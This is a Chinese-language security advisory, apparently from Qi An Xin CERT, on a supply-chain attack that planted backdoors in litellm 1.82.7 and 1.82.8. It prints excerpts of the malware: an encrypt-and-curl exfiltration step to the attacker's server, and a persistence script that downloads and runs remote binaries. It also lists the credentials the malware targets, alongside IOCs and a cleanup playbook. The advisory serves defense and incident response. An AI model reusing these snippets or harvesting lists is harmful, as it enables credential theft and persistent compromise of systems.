文章总结: 文档披露TeamPCP组织针对litellmPython包的供应链攻击事件,通过入侵Trivy窃取PyPI令牌后上传恶意版本,利用.pth文件和代码注入植入后门,广泛窃取系统凭证、云服务密钥、K8s配置等敏感信息。文章详述攻击链与技术细节,提供IOC清单及应急处置手册,建议受影响企业立即排查、隔离清理并检查K8s集群。 综合评分: 90 文章分类: 供应链安全,威胁情报,漏洞预警,应急响应,AI安全
【安全风险预警】接入开源 AI 组件企业速自查,AI 供应链投毒风险来袭
奇安信 CERT
2026年3月25日 20:36 江苏
发布日期:2026年3月25日 事件等级:🔴 严重(Critical) 攻击者:TeamPCP(疑似有组织威胁团伙) 影响范围:全球所有使用 litellm Python 包的开发者和企业(月下载量 9500 万+)
📌 事件概述
2026年3月24日,开源 AI 网关项目 litellm 遭遇严重的供应链攻击。版本 1.82.7 和 1.82.8 被植入恶意代码,这是 TeamPCP 威胁团伙在 5 天内发起的第三次攻击,前两次分别为 Trivy 和 Checkmarx/KICS。
⚠️ 关键特征:
- • 恶意版本在 GitHub 上没有对应的标签或发布记录
- • 二次供应链攻击:Trivy 被入侵 → 窃取 litellm 的 PyPI 令牌 → 上传恶意包
- • 攻击者使用与 npm 攻击完全相同的 Python 后门脚本
⏱️ 完整攻击时间线(TeamPCP 供应链战役)
| 日期 | 目标 | 攻击手段 | 影响 |
| — | — | — | — |
| 3月19日 | Trivy (Aqua Security) | 伪造提交至 GitHub Actions,冒充开发者身份 | 窃取 CI/CD 密钥,劫持 75 个标签,破坏 44 个仓库 |
| 3月21日 | Checkmarx AST | 相同的凭证窃取模式注入 GitHub Action | 收集更多 CI/CD 管道密钥 |
| 3月23日 | C2 域名注册 | 注册 litellm.cloud 域名(Spaceship, Inc.) | 为后续数据外联做准备 |
| 3月24日 10:52 | litellm 1.82.8 | 使用窃取的 PyPI 令牌直接上传 | 全平台凭证窃取 + K8s 横向移动 |
| 3月24日 | litellm 1.82.7 | 同样被确认包含恶意代码(不同注入方式) | 触发条件:import litellm.proxy |
| 3月24日 12:30 | 确认 1.82.7 也被污染 | 社区确认双版本受影响 | 影响范围扩大 |
| 3月24日 13:03 | GitHub Issue 被操控 | 攻击者关闭官方 Issue 并用机器人刷屏 | 试图压制安全讨论 |
| 3月24日 20:15 | PyPI 响应 | 下架恶意版本,解除隔离 | 整个 litellm 包曾短暂不可用 |
攻击策略分析:TeamPCP 采用阶梯式攻击,先入侵安全扫描工具(Trivy),利用其高权限收集凭证,再用这些凭证入侵下游基础设施(litellm),形成连锁反应。
🦠 技术细节与攻击机制
版本差异对比
| 版本 | 触发机制 | 植入位置 | 触发条件 | 危害等级 |
| — | — | — | — | — |
| 1.82.7 | proxy_server.py 注入 | litellm/proxy/proxy_server.py 第 128-139 行 | import litellm.proxy | ⚠️ 高 |
| 1.82.8 | .pth 文件机制 | litellm_init.pth (34,628 字节) | 任意 Python 启动 (无需导入) | 🔴 严重 |
1.82.8 的特殊危险性:.pth 文件在 Python 解释器启动时自动执行,意味着即使不使用 litellm,只要环境中安装了该包,运行任何 Python 脚本都会触发恶意代码。
三阶段攻击流程详解
Stage 1 – 引导阶段(Bootstrap)
植入位置:litellm_init.pth 和 proxy_server.py
执行流程:
- 1. Base64 编码的 payload 直接嵌入在文件中
- 2. 导入/执行时解码 payload 到临时文件
- 3. 通过
subprocess.run([sys.executable, p])立即触发下一阶段
关键代码片段(数据加密与外联):
# 使用 OpenSSL 进行 AES-256-CBC + RSA-4096 加密
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
"-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
"-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"],
check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
# 外联至 C2 服务器
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"https://models[.]litellm[.]cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
技术特点:
- • 使用非对称加密(RSA-4096),只有攻击者持有私钥可解密
- • 通过
subprocess执行收集器,捕获 stdout 后加密发送 - • C2 地址:
hxxps[:]//models[.]litellm[.]cloud/
Stage 2 – 凭证收集器(Credential Harvester)
触发条件:从 Base64 解码后执行
收集范围:
| 类别 | 具体目标 |
| — | — |
| 系统侦察 | hostname, whoami, uname -a, IP 地址, 路由表, 完整环境变量 (printenv) |
| SSH 密钥 | id_rsa , id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config(所有用户目录 + /root);SSH 主机密钥(/etc/ssh) |
| Git 凭证 | .git-credentials , .gitconfig |
| AWS | ~/.aws/credentials , ~/.aws/config, AWS_* 环境变量, EC2 IMDSv2 角色凭证, ECS 容器凭证, Secrets Manager 密钥(列出+获取值), SSM 参数 |
| GCP | ~/.config/gcloud/* , application_default_credentials.json, GOOGLE_APPLICATION_CREDENTIALS 文件 |
| Azure | ~/.azure/* , AZURE_* 环境变量 |
| Kubernetes | ~/.kube/config , 服务账号令牌 + CA 证书, 所有命名空间的所有 Secret, KUBE_*/K8S_* 环境变量, kubectl get secrets 输出 |
| Docker | ~/.docker/config.json (仓库凭证), /kaniko/.docker/config.json |
| 环境文件 | .env , .env.local, .env.production, .env.development, .env.staging, .env.test(CWD、父目录、/app 及常见根目录递归) |
| 数据库凭证 | .pgpass , my.cnf, redis.conf, .mongorc.js, DB_*/DATABASE_*/MYSQL_*/POSTGRES_*/MONGO_*/REDIS_*/VAULT_* 环境变量 |
| CI/CD & IaC | terraform.tfvars , terraform.tfstate, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, ansible.cfg, Helm 配置 |
| TLS/SSL 私钥 | .pem , .key, .p12, .pfx 文件(/etc/ssl/private, /etc/letsencrypt 及常见根目录) |
| 认证令牌 | .npmrc , .vault-token, .netrc, LDAP 配置, Postfix SASL 密码 |
| Shell 历史 | .bash_history , .zsh_history, .sh_history, .mysql_history, .psql_history, .rediscli_history |
| VPN | WireGuard 配置(/etc/wireguard/*.conf), wg showconf 输出 |
| Webhook & API 密钥 | Slack/Discord Webhook URL, .env*, .json, .yml, .yaml 文件中的 API 密钥/Secret |
| 加密货币钱包 | Bitcoin (wallet.dat, bitcoin.conf), Ethereum (keystore), Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero 配置;Solana 密钥对(validator, vote, stake, identity, faucet, withdrawer);Cardano 签名/验证密钥;Anchor 项目部署密钥 |
| 系统认证 | /etc/passwd , /etc/shadow, 认证日志(accepted logins) |
Kubernetes 横向移动:
- • 若检测到 K8s 服务账号令牌,枚举所有 K8s 节点
- • 在每个节点的
kube-system命名空间部署特权 Pod(node-setup-*) - • 每个 Pod 挂载主机文件系统到
/,通过chroot投放 Stage 3 持久化后门
本地持久化:
- • 安装 Stage 3 后门为 systemd 用户服务:
sysmon.service
Stage 3 – 持久化后门(sysmon.py)
安装位置:~/.config/sysmon/sysmon.py
注册服务:System Telemetry Service(systemd 用户服务)
关键代码片段:
req = urllib.request.Request("https[:]//checkmarx[.]zone/raw",
headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
if link and "youtube.com" not in l: # Kill Switch:检查是否为 YouTube 链接
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL, start_new_session=True)
执行流程:
- 1. 初始休眠:300 秒(5 分钟)
- 2. 无限循环:
- • 每 3000 秒(50 分钟) 轮询
hxxrs[:]//checkmarx[.]zone/raw获取下载 URL - • 下载二进制文件到
/tmp/pglog,标记为可执行(755) - • 在独立会话中运行(
start_new_session=True) - • Kill Switch:检查响应是否包含
youtube.com(如果是则不执行) - • 在
/tmp/.pg_state中跟踪最后获取的 URL,避免重复下载
技术特点:
- • 使用 urllib 而非 requests,减少依赖
- • User-Agent 伪装:Mozilla/5.0
- • 分离会话:
start_new_session=True确保进程独立于父进程 - • 服务器目前返回 URL 链接作为占位符,攻击者可随时推送真实的第二阶段 payload
意外发现的”Bug”
恶意代码中存在一个fork bomb 漏洞:.pth 文件触发子进程,子进程再次触发 .pth,形成指数级进程爆炸。FutureSearch 的 Callum McMahon 因此发现机器崩溃,从而揭露了此次攻击。
🎯 入侵指标(IOC)清单
🔴 网络指标(立即封禁)
| 类型 | 指标 | 用途 | 备注 |
| — | — | — | — |
| C2 外联 | models[.]litellm[.]cloud | 主要数据外联地址 | POST 请求,Content-Type: application/octet-stream,X-Filename: tpcp.tar.gz |
| C2 控制 | checkmarx[.]zone | 持久化后门控制 | 每 50 分钟轮询,可能返回 YouTube 链接(Kill Switch) |
| Payload 获取 | checkmarx[.]zone/raw | 下载后续恶意二进制 | 目前返回占位符 URL |
| AWS 元数据 | 169.254.169.254 | 窃取 EC2 实例凭证 | 访问 IMDSv2 端点 |
🔴 文件系统指标
| 路径/文件 | SHA-256 哈希值 | 描述 |
| — | — | — |
| litellm_init.pth | ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg | 恶意 .pth 启动文件(34,628 字节) |
| litellm-1.82.8-py3-none-any.whl | d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb | 完整恶意包 |
| litellm-1.82.7-py3-none-any.whl | 8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2 | 完整恶意包 |
| proxy_server.py (被篡改) | a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b | 1.82.7 注入点 |
| ~/.config/sysmon/sysmon.py | – | 持久化后门脚本 |
| ~/.config/systemd/user/sysmon.service | – | Systemd 持久化服务(”System Telemetry Service”) |
| /tmp/pglog | – | 下载的恶意二进制(第二阶段 payload) |
| /tmp/.pg_state | – | C2 状态跟踪文件(记录最后获取的 URL) |
| tpcp.tar.gz | – | 外联数据包文件名(TeamPCP 标识) |
🔴 Kubernetes 指标
| 指标 | 描述 |
| — | — |
| Pod 名称模式 | node-setup-* |
| 命名空间 | kube-system |
| 镜像 | alpine:latest |
| 特权配置 | hostPID: true , hostNetwork: true, privileged: true |
| 挂载点 | 主机文件系统挂载至 /host(通过 chroot 进入) |
| 后门路径 | /root/.config/sysmon/sysmon.py (节点上) |
🔴 进程/服务指标
| 指标 | 描述 |
| — | — |
| 服务名 | System Telemetry Service |
| 轮询间隔 | 3000 秒(50 分钟) |
| 启动延迟 | 300 秒(5 分钟) |
| Kill Switch | 检查响应中是否包含 youtube.com |
| 用户代理 | Mozilla/5.0 |
🛡️ 应急处置手册
第一步:紧急自查(5 分钟内)
# 1. 检查 litellm 版本
pip show litellm | grep Version
# 2. 查找恶意 .pth 文件(关键!)
find /usr -name "litellm_init.pth" 2>/dev/null
find ~/.cache/uv -name "litellm_init.pth" 2>/dev/null
find ~/.local -name "litellm_init.pth" 2>/dev/null
# 3. 检查持久化后门
ls -la ~/.config/sysmon/ 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null
systemctl --user status sysmon.service 2>/dev/null
# 4. 检查临时文件
ls -la /tmp/pglog /tmp/.pg_state 2>/dev/null
# 5. 检查网络连接(查看是否有到恶意域名的连接)
netstat -an | grep -E "(models\.litellm\.cloud|checkmarx\.zone)"
lsof -i | grep -E "(models\.litellm\.cloud|checkmarx\.zone)"
第二步:隔离与清理
# 1. 立即卸载恶意版本
pip uninstall litellm -y
# 2. 清理所有 Python 缓存
pip cache purge
rm -rf ~/.cache/uv/archive-v0/* # 如使用 uv
find ~/.cache/pip -name "*litellm*" -exec rm -rf {} + 2>/dev/null
# 3. 删除持久化组件(如存在)
systemctl --user stop sysmon.service 2>/dev/null
systemctl --user disable sysmon.service 2>/dev/null
rm -rf ~/.config/sysmon/
rm -f ~/.config/systemd/user/sysmon.service
rm -f /tmp/pglog /tmp/.pg_state
# 4. 重新加载 systemd
systemctl --user daemon-reload
第三步:Kubernetes 专项排查
# 1. 检查可疑 Pod
kubectl get pods -n kube-system | grep node-setup
# 2. 如发现,立即删除并审查
kubectl delete pod -n kube-system <pod-name>
kubectl describe pod -n kube-system <pod-name> # 取证
# 3. 检查集群密钥访问记录
kubectl get events -n kube-system --field-selector reason=SecretAccess
# 4. 审查所有节点上的后门
# 需逐节点执行:
ls -la /root/.config/sysmon/ 2>/dev/null
# 5. 检查 Secret 访问日志
kubectl audit-log | grep -E "(list|get)" | grep secrets
第四步:全网威胁狩猎
# 在 CI/CD 服务器、开发机、生产环境批量执行:
# 搜索恶意文件指纹
find / -name "litellm_init.pth" -o -name "sysmon.py" 2>/dev/null | grep -E "(litellm_init|sysmon)"
# 检查 DNS 查询日志(如有)
# 查找对 models.litellm.cloud 或 checkmarx.zone 的解析记录
# 检查进程树中异常 Python 进程
pstree -p | grep -i python
# 检查 systemd 用户服务
systemctl --user list-units --type=service | grep -i sysmon
🔐 后续加固建议
立即执行(24 小时内)
| 优先级 | 行动项 | 范围 |
| — | — | — |
| P0 | 轮换所有凭证 | SSH 密钥、云访问密钥、数据库密码、API 密钥、K8s 令牌、GitHub PAT |
| P0 | 审查云访问日志 | AWS CloudTrail、GCP Audit Logs、Azure Activity Log(3月24日至今) |
| P0 | 封禁 IOC | 在 DNS/防火墙层面封禁 models.litellm.cloud 和 checkmarx.zone |
| P1 | 检查代码仓库 | 审查是否有异常提交、GitHub PAT 是否被滥用 |
| P1 | 通知安全团队 | 启动内部安全事件响应流程 |
中期加固(1 周内)
- 1. 供应链安全:
- • 锁定依赖版本:
pip install litellm==1.82.6(最后已知安全版本) - • 使用
requirements.txt哈希校验:pip install --require-hashes - • 集成
pip-audit、safety或Snyk到 CI/CD
- 2. 网络防护:
- • 监控对
169.254.169.254(云元数据端点)的异常访问 - • 部署 DNS 过滤,阻止新注册的类似域名(
*.litellm.cloud)
- 3. K8s 安全:
- • 启用 Pod 安全策略,限制 privileged Pod 创建
- • 审查 Service Account 权限,遵循最小权限原则
- • 启用审计日志,监控对 kube-system 命名空间的操作
- • 实施网络策略,限制 Pod 对外部 C2 的访问
长期策略
- • 私有 PyPI 镜像:通过 Nexus、Artifactory 搭建内部镜像,延迟同步并审计
- • 依赖最小化:评估是否真的需要 litellm,或仅使用特定 provider 的 SDK
- • 供应链监控:订阅 PyPI 安全公告,使用 Dependabot 或 Renovate 监控依赖更新
- • CI/CD 加固:实施 OIDC 而非长期凭证,启用分支保护,要求代码审查
📊 影响评估
攻击者可能窃取了约 300GB 数据,包含 50 万个凭证。litellm 作为连接 100+ LLM 提供商的网关,其用户通常持有大量高价值凭证(OpenAI、Anthropic、AWS Bedrock 等 API 密钥),这使得此次攻击的影响尤为严重。
下游影响项目(已知):
- • browser-use:CLI 安装脚本依赖
litellm>=1.82.2 - • crawl4ai:PyPI 版本 0.8.5 仍依赖未限制的 litellm
- • DSPy、Guardrails AI、MLflow 等已紧急发布修复版本
PyPI 响应:
- • 整个 litellm 包(所有版本)曾被完全隔离
- • 恶意版本 1.82.7 和 1.82.8 已被下架
- • 目前包已恢复可用,但需警惕后续攻击
📞 官方资源与参考
| 资源 | 链接 | | — | — | | litellm 官方安全公告 | https://docs.litellm.ai/blog/security-update-march-2026 | | GitHub 跟踪 Issue | BerriAI/litellm#24518(时间线) | | FutureSearch 原始报告 | https://www.futuresearch.ai/ | | JFrog 技术分析 | https://research.jfrog.com/post/litellm-compromised-teampcp/ | | Endor Labs 分析 | https://www.endorlabs.com/learn/teampcp-isnt-done |
⚠️ 警告
攻击者可能随时通过 checkmarx.zone 推送真实的第二阶段 payload,请务必隔离受影响系统并持续监控。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:奇安信 CERT 《【安全风险预警】接入开源 AI 组件企业速自查,AI 供应链投毒风险来袭》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论